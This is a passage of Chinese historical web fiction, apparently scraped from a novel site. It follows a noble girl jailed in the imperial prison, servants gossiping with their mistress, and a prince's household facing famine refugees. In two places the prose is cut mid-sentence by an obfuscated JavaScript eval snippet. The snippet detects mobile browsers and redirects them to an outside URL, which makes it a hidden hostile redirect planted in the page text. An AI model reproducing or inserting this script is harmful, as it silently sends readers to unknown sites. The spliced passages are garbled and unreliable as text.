“那是金城公主的女儿,哪里是我们能见得到的,金城公主有意给小郡主一个教训,让人安排到女囚那边去了……” 女囚处 高嫦被两个膀大腰圆的狱卒架着手臂拖到牢房里,华美的宫装被撕扯得不成样子,发髻散乱,她挣扎着怒斥“我乃是金城公主之女!谁敢动我!” “公主的女儿?呃还以为是皇帝的女儿呢!” 另一个挠挠头,凑到同伴耳边:“金城公主是哪个?你听说过吗?” 两人靠在斑驳肮脏的墙壁上大笑起来,那笑声粗砺刺耳,全然不顾高嫦气得浑身发抖,脸色青一阵白一阵。“管你是公主的女儿还是王爷的千金,”先前说话的狱卒敛了笑,语气冷硬,“进了这诏狱,除了江大人,所有人都只有一个身份——犯人!” 狱卒拿着卷宗高声说道:“人犯高嫦,非法聚众,宗室之后,罪加一等!” 她无往不利的身份竟然第一次失效了,高嫦一下子愣住了,她只活了一十五年,没人告诉她遇到这种情况要怎么办! “你们快去请我母亲,她要是知道了我立刻就能出去!这种鬼地方我一刻也不想多呆。” “哎呦,您可是宗室女,金城公主这点面子还是有的,不过她老人家也没法子,说不定这会儿正跪在陛下面前请罪呢!说不定啊,连公主的封号都要没了,要是我啊拼命生下了个女儿,不仅不能享受天伦之乐,还要到处给她擦屁股,还要去给侄儿下跪求情,光是想想都得晕过去喽……” “当啷”一声,狱卒锁上牢门,脚步声渐远。高嫦僵在原地,方才的骄矜与愤怒尽数褪去,只剩下彻骨的寒意。她缓缓瘫坐在冰冷的地面上,眼神失焦,仿佛魂魄都被抽走了一般。 …… 密信燃烧的余烬被指尖捻起,轻轻扫进描金缠枝莲纹的青铜香炉里,火星在炉中蜷了蜷,终究没了声响。天刚擦黑,暮色像一层薄纱裹住了庭院,卫开梧坐在窗边的梨花木椅上,腹中空落落的泛着饿意,目光扫过桌案上的点心,却没半分动念:那几块杏仁酥瞧着粗糙,油皮上还凝着未化的油脂,入口定是腻得发慌,实在勾不起胃口。 正想着,院外又传来一阵细碎的哭声,绵密得像春雨打在芭蕉叶上,扰得人心烦。 “您猜错了,这回不是陆娘子哭,是杜美人。”赵蒲端着一盏温茶进来,见卫开梧皱着眉,便主动解释。 卫开梧指尖顿了顿,接过茶盏抿了口:“哦?她也想回自己家不成?” “那倒不是。”赵蒲往椅边一靠,声音压得低了些,“我给守卫塞了几个钱打听着了,这位杜美人本是长安本地人,祖上也曾做过正三品的刺史,家底殷实,还跟淳于世家有过姻亲,算是正经的世家旁支。可惜三十年前沾了桩旧案,族里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549957|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男丁要么被流放,要么被罢官,好好的家就这么败了,如今只剩下她和兄弟二人,她被花鸟使捉走后,她那兄弟便一心为她奔走相求,没有谁不知道,每隔三五日都试图溜进来,被抓到过几次,险些被打成废人,还是章主事拍板,看他年少不予计较。谁知道这位小郎君不好好读书偏偏学人家去宫门外请命,这不,被捉去打了板子,他家里没人只得拖着废腿爬几条街回家。杜美人知道后哭晕了几次,这才刚醒来呢,您午间睡得熟没听见罢了。” 听着怪可怜的。 “就没好心人扶他一扶吗?” “主子,这宫里宫外的,好心人哪能活长久?”赵蒲撇了撇嘴,又凑上前,“您要是觉得烦,我这就去把她的嘴堵上,保准再没声响。” “近日来你越来越油嘴滑舌了,像你兄长一样。” 赵蒲露出个笑脸,作势出门去,“我这就去跟我哥哥说主上夸他了!” 卫开梧疑惑,“等等,我夸他什么了?” 赵蒲半个身子已经跨到门外,故意拔高了声音嚷嚷:“哥哥!主上说你嘴巴甜、说话好听,跟你我一样讨喜呢!” 话音刚落,窗外就传来几声低低的哄笑,混着夜风飘进来。卫开梧顺着虚掩的窗缝往外看,正撞见一张老实憨厚的脸—,他穿着一身玄色侍卫服,腰束铜带,面容英挺,眉眼神态都透着中正,任谁瞧了第一眼,都会觉得这是个可靠的青年:像是那种同袍战死沙场后,会主动扛起对方一家老小生计、一辈子不推诿的良家子弟,便是把身家性命托付给他,也未尝不可。 没一会,这貌似忠良的老实青年就站在门口半尺处,恭恭敬敬行了个礼,卫开梧上下打量他一眼,她虽是肉眼凡胎无法透过皮肉看见人心,但也不禁赞叹真有人天生这般。 “吩咐你的事,查得如何了?”卫开梧收回目光,语气沉了下来,没了方才的随意。 “回主上,有眉目了。”赵英垂着头,声音平稳,没有多余的话。 卫开梧没再追问,只是端着茶盏沉默着。庭院里的风又起了,吹得廊下的兰草轻轻晃动,空气里只剩细微的风声。 赵英态度越发恭顺起来,低眉顺眼地说道:“长公主府上……” 他口中的长公主府,就坐落在朱雀街东段,紧邻京兆府衙,占了整整一条街的地界,朱红大门上嵌着鎏金铜钉,府内更是壕奢,比当朝任何一位亲王的府邸都不逊色:前院设着演武场,可容百余人操练,三朝帝王的宠爱让高瑄权势煊赫,当年她距离地位也只有一步之遥,这让她如何能甘心呢,如今,在这关键时刻,高嫦竟然捅了这么大一个窟窿,她心头火起,抬手就狠狠拍向面前的紫檀木桌。 只听“咔嚓”一声脆响,厚重的桌子竟当场碎裂,木屑飞溅,桌上的茶盏摔在地上,碎瓷片溅了一地。 这些年在朝堂上摸爬滚打,高瑄的气势越发浑厚,只是眉宇间的郁气,却怎么也散不去。她深吸一口气,压下心头的怒火,声音冷得像冰,“诏狱那边……” 站在下方的侍从连忙躬身回话:“回长公主,诏狱那边已经按您的吩咐封了消息,没人敢往外传。小主子那边也安排妥当了,派了心腹侍卫在隔壁守着,寸步不离,小主子天生神秀,聪慧过人,这次的磨难,说不定能让她更沉稳些,往后定能稳住局面,不辜负您的期望。” 高瑄叹了口气,她何尝不想多几个孩子,挑挑拣拣,养蛊似的炼化一番,可是天不遂人愿啊。 9. 第 9 章 厉国 “炊饼,好吃的炊饼。”货郎挑着扁担从朱红墙垣外走过……很多次。 此时是大召十七年正月,刚过了小年,勤快的小生意人便挑着担子出来卖炊饼。 只是,大过年的,谁家没一桌隔夜饭,而连隔夜饭都没有的,更不会花一文钱买他家这死硬的炊饼。 王直放下担子,揉了揉早晨闪到的腰,叹了口气,早三更天起来做饼,鸡鸣时挑出来卖,一个时辰了,还没开张呢。 可是他一点不担心自家的饼卖不出去。 因为—— “冻梨!好吃的好甜的冻梨!”一个十六七岁精瘦的少年隔着十几米转过巷子飞快地朝武直而来,这也是个勤快的小贩。 王直脸一黑,叫道:“东崽!你大清早的不和你婆娘多躺一会出来抢我的生意?” “王大哥,你这话说的就不对了,做生意各凭本事,哪有谁抢谁一说?” 王大虽然矮小,但身板厚实宛如一座丘陵,臂长过膝,手如蒲扇大,朝着东崽就拍了过去。 “馄——饨!新出锅的羊肉馄饨啦!三文钱一碗,皮薄馅大给的足啦!” 又是一小贩推着馄饨车从王大身后闪现。 卖羊肉泡馍的、胡辣汤的、肘子、烧鸡、灌汤包、麻辣兔丁的……一齐出现在数丈长的朱红墙垣外。 此时天大亮,墙外却呈剑拔弩张之势。 大约一刻钟,墙内传出几声张狂的犬吠,接着是皮靴压踩积雪使枯枝折断段的声音。 “昨夜大雪,想来王府的下人惫懒,连千岁常走的路都没清扫,哪有这么当下人的!” “人家王府的下人哪里是下人,哪叫壕奴,知不知道什么叫宰相门前三品官。” “你懂,你可懂了。” 小贩们吵着嘴,同行之间铆足劲互相伤害。可在墙垣上出现一道靛蓝色的蟒袍人影时齐齐闭上了嘴,安静了数秒后就是一片拜年声: “郡主新年吉祥,福寿安康!”王直冲着朱红围墙上的宫装少女拱手示意。 人人脸上都挂着真心的笑容,当然这笑容很快便垮了下去,只见宫墙上豆蔻年纪的少女“大王坐”于墙头,盘着腿一手手肘顶着膝盖托着下巴,冲他们道:“我母亲说了最近关中大旱粮食金贵得节衣缩食诸位的好酒好肉都涨价了,要是胡乱买就要打我。” 王直放下担子,拱手道:“谁不知道千岁是夫人的眼珠子,夫人又是天下一等一的慈善人,怎么会您动手呢。” 少女像是认同了他这番话,“你说的也有道理,母亲确实没打过我,唉,我去年可是花了一万多两银子,父亲虽然疼我但也肉疼的很,我父这个人你们谁不知道,可是天字头一号的守财奴……” “咳咳咳!”底下的小贩商户们纷纷咳嗽起来,就当没听见郡主编排王爷。 “小的们都理解您的难处,可是这饭食好好的卖不出去可就要馊了倒掉了,这些上好的米面粮油给我们吃是糟践了,何况也吃不完不是,这一担子羊肉泡馍您都拿走,只要半车粗粮和一车喂大牲口的草料就行。” 佟掌柜这话一出口引得旁人侧目。佟掌柜是城西门卖羊肉泡馍的,干这一行百多年了,从厉王就藩起就在西城门卖羊肉泡馍,城里几十万人没哪家没吃过他家的泡馍,佟掌柜家里算上仆人有小几十口,住着三进大宅院,大小牲口十余头,城郊还有个挺老大的羊场,常年养着百八十头羊,可是现在就剩下二十来只了。 往常都是他家老大来,这次可是佟掌柜亲自来的,老头六十多岁了,挑着担子,须发上结了白霜看得叫人不忍。 牲口要吃粮食,哪怕是喂牲口的糙粮食皮也能救全家老小的命,所以别看佟掌柜一身锦缎家里的粮食却不够三月吃的,这才跑到王府来想把所剩不多的精米细面换成粗粮,粮店虽然还开张却限量出售,价格也早比二三年前高了几十倍,像他这样的富户都买不起了何况穷苦人家。 人,越来越多。 挤在前面的是有家有业的小商贩小掌柜,后面畏畏缩缩不敢上前的则是洛阳城里的普通百姓,拿着半卷布的当家女人,拿着半篮子十几枚鸡蛋的老婆婆,拿着没甚用处桌椅板凳的老实木匠、拿着菜刀铲子的憨厚铁匠、拉着半车瓦片的哑巴瓦匠……把侯府后巷塞了个严严实实,人虽然多却不嘈杂。有人眼睛死死盯着宫墙上的少女,蜡黄的脸色细如竹竿的身体在寒风中打着颤;有人不敢抬头,这种人多半没什么好东西,连柳木造的桌椅板凳都没有,甚至连半卷布、半筐鸡蛋也没有的赤贫百姓。他们也不是农户,拿不出一分薄田,还有的抓着自家高矮不一的孩子,央求地看着,去年王妃放出话来今年不买人,庄子上的下人也要多得塞不下了。 事实上,从去年十月秋粮被蝗虫啃光,阳城里一二成百姓家里就断炊了,不仅是去年去的秋粮,连同夏粮、春粮、和前年的三季各种粮食也都八九成绝收,旱灾、水灾、蝗灾、地动接踵而至,若不是侯府隔三差五救济,活不下去了,真的活不下去了。 王府后院,十几个小厮跑断了腿,屋子里坐着的王府的几个主子,老王爷老王妃王爷王妃,老王爷的次妃、夫人,王爷的次妃夫人加在一块也有近二十人,管事跑过来吓得面色发白,道:“看不到头!起码有万八千人。” “肿么嘚了!”老王爷十来年前就中风了,坐在太师椅上两条腿打着颤,数千人冲击王府他们这一大家子可不完了。 卫懿赶紧问:“前门呢,前门多少人?” “回王爷,前门没有人。” 屋里人顿时松了口气,前门没有人说明大家伙还念在香火情。 老王妃紧绷着的心终于松了些,手指却依旧飞快拨弄黄觉寺大师开过光的小叶紫檀念珠,问道:“十万担又十万担,地主家也没有余粮啊,咱家的几个大粮仓都放空了吧?” “都放空了。” 卫懿环视屋里屋外满满登登的人,把立在门外几步处的账房叫了进来,“还能撑多久?” 账房可以说是屋子里最憔悴的人了,“小的昨夜刚算过,如今明年春粮收上来的话……” “都三月了!哪来的及种春粮!”卫懿暴躁地砸碎茶杯,这杯子是他早些年去京里走亲戚从皇帝大侄子那顺回来的,平日里稀罕的很,时常把玩,这会儿怒上心头直接给摔了。卫懿也不心疼,摔了好,省得哪日破家被乞丐抢了去要饭。 “是、是……王爷别动怒,小的算明白了,算上往年的陈粮或许还能撑一年半载,若是加上那些发霉的长芽的和喂牲口的米糠麦麸等大约能撑到……后年?” “后年?”卫懿疑惑道。 账房答:“是。” “这么久?” “二千岁喜欢花钱,前些年风调雨顺粮价跌破五文钱时,硬是用了二倍的价格买了全河西道的粮食,您当时还气病了来着?”账房小心翼翼地说。 卫懿想了想好像是有这么个事。 “可是……”账房支吾道。 “你有屁快放!” “按照去年放粮的速度能吃到后年,可是外面不知道多少人在往阳城赶啊!”那些拖家带口面黄肌瘦的灾民、浩浩荡荡宛如一群群蝗虫,路过的地方树皮观音土都要被吃光了,“去年一年城里的人口少说增加了十万,到了明年春天陆续少说又要来十万人!” 卫懿吓得跌坐在太师椅上,老王爷也哎哎地叫唤起来,“肿么都朝阳城辣啊!” 王府部曲虽然有数千,护送全家逃离阳城是没有问题,可是这偌大的家业,半个城的良田岂不是都送给了贼人。 “狗朝廷!没用的废物皇帝!” 卫懿身为藩王,辱骂皇帝足够削藩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549958|186794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可如此年月皇帝说不定什么时候就没了,哪个好汉振臂一呼就要改朝换代了,卫懿骂完,苦着一张脸来回转圈。 父母妻子都等着他拿主意,可他能有什么办法呢? 不一会,又有人来报,说好女儿把那些没什么用的东西全买下了,又清空了一间库房。 “人都走了?” “陆续都散了。” “无疆呢?还不快点叫她来见我!” …… 厉无疆知道自己又要挨骂,她本来是要跑的,反正自己家几千间屋子随便往哪一藏,没人找得到她,可与她作对十几年的母妃的奶嬷嬷一把抱住了她的大腿,她的女儿翠环也有样学样,抱住她另一条腿,母女二人像是五百只鸭子。 “千岁!千岁!王爷夫人都找您呐!您可不能避而不见啊!” “放手!他们正在气头上,我要去了还不得罚我写大字!” 好吧,这是个不学无术的。 厉无疆拖着两百多快三百斤的两个女人艰难前行,忽然余光瞥见老父亲操着鸡毛掸子挽了个剑花疾驰而来——我命休矣! “放手!!” 奶嬷嬷和翠环适时放开她,闪现到墙根下,老父亲挥舞着鸡毛掸子向前突刺,“败家女!败家女!一天送一座粮仓!侯府哪来的那么多粮食!” “咱家的粮食起码有一百二十万担!怎么吃的完!” 她干嚎起来,嗓门大得出奇,这下好了,没人不知道侯府还有惊人的百万担存粮,省着点够全城百姓吃上十年之久! 卫懿想捂住不孝女的大嘴已然来不及,王府外不知道多少探子,这下岂不是尽人皆知? 自从去年春粮欠收,王府所有粮仓地窖的钥匙就挂在他婆娘腰间,放在她枕头底下,叮叮当当十几斤重,只有睡觉才偶尔摘下来,晚上他试着摸一把,都得被抽下手心。 即使如此严防死守也是没用,因为厉无疆会开锁,“阳城开锁大宗师”就是她。 “爹,我可是听说不仅河西,河南河北,整个中原地区秋粮都只有丰年的三成,天下灾民数百万,光是阳城周围就有十几万百姓无米下锅,侯府占了全阳城六成的良田,谁知道那些灾民饿疯了会干出什么事来。” 卫懿见怎么都打不着她,更生气了,“你说的这些我会不知道?只是阳城一地还好,关中无险,千里平原,若是听到了你大手大脚的消息,灾民不足数月就会拥到阳城来,到时候该如何是好?若是再来十万、又十万呢?” “大不了跑呗,我跟你说啊爹,我跑得可快了,上山我能徒手抓狐狸!。” “……” “小贼!拿命来!” 卫懿自然追不上逃跑功夫一流的卫无疆,他拿着鸡毛掸子穿着粗气,“小泼皮,别让我逮着你,有你好看的!你姐姐刚离开家你就想上房揭瓦,这个家没人能管得了你了!来人,抬我的兵器来——” 四下俱净,竟然没有一个人动手,往常恭顺的仆人们一时间变得又聋又瞎,看蚂蚁搬家的看蚂蚁搬家,还有装模作样扫地的。 卫懿神情怔忡着,瞥见二娘垫着脚猫儿似的贴着院墙想溜出去,他抓着鸡毛掸子蹿过去,对着讨债的泼皮鬼抽了过去——“哎呦我的娘诶!爹要打死我嘞!” 又是一阵鸡飞狗跳。 院墙外还有没散的小贩百姓,不比把耳朵糊在墙上也听得见里面是什么章程。 郡主千岁又被打了,这天闷热的很,怕是又快下雨了,想着,老天劈下一道闷雷,豆大的雨珠落下来,小贩们赶紧挑上担子,奔走相告:“今天老王爷打孩子了,咱也回家应个景儿!” 有和爷娘一起来的小孩一听吓得拔腿就跑,边跑边嚷嚷,“郡主被打了为什么我也要挨打啊!” “废什么话,郡主就是被打了才这么聪明,小贼休走!”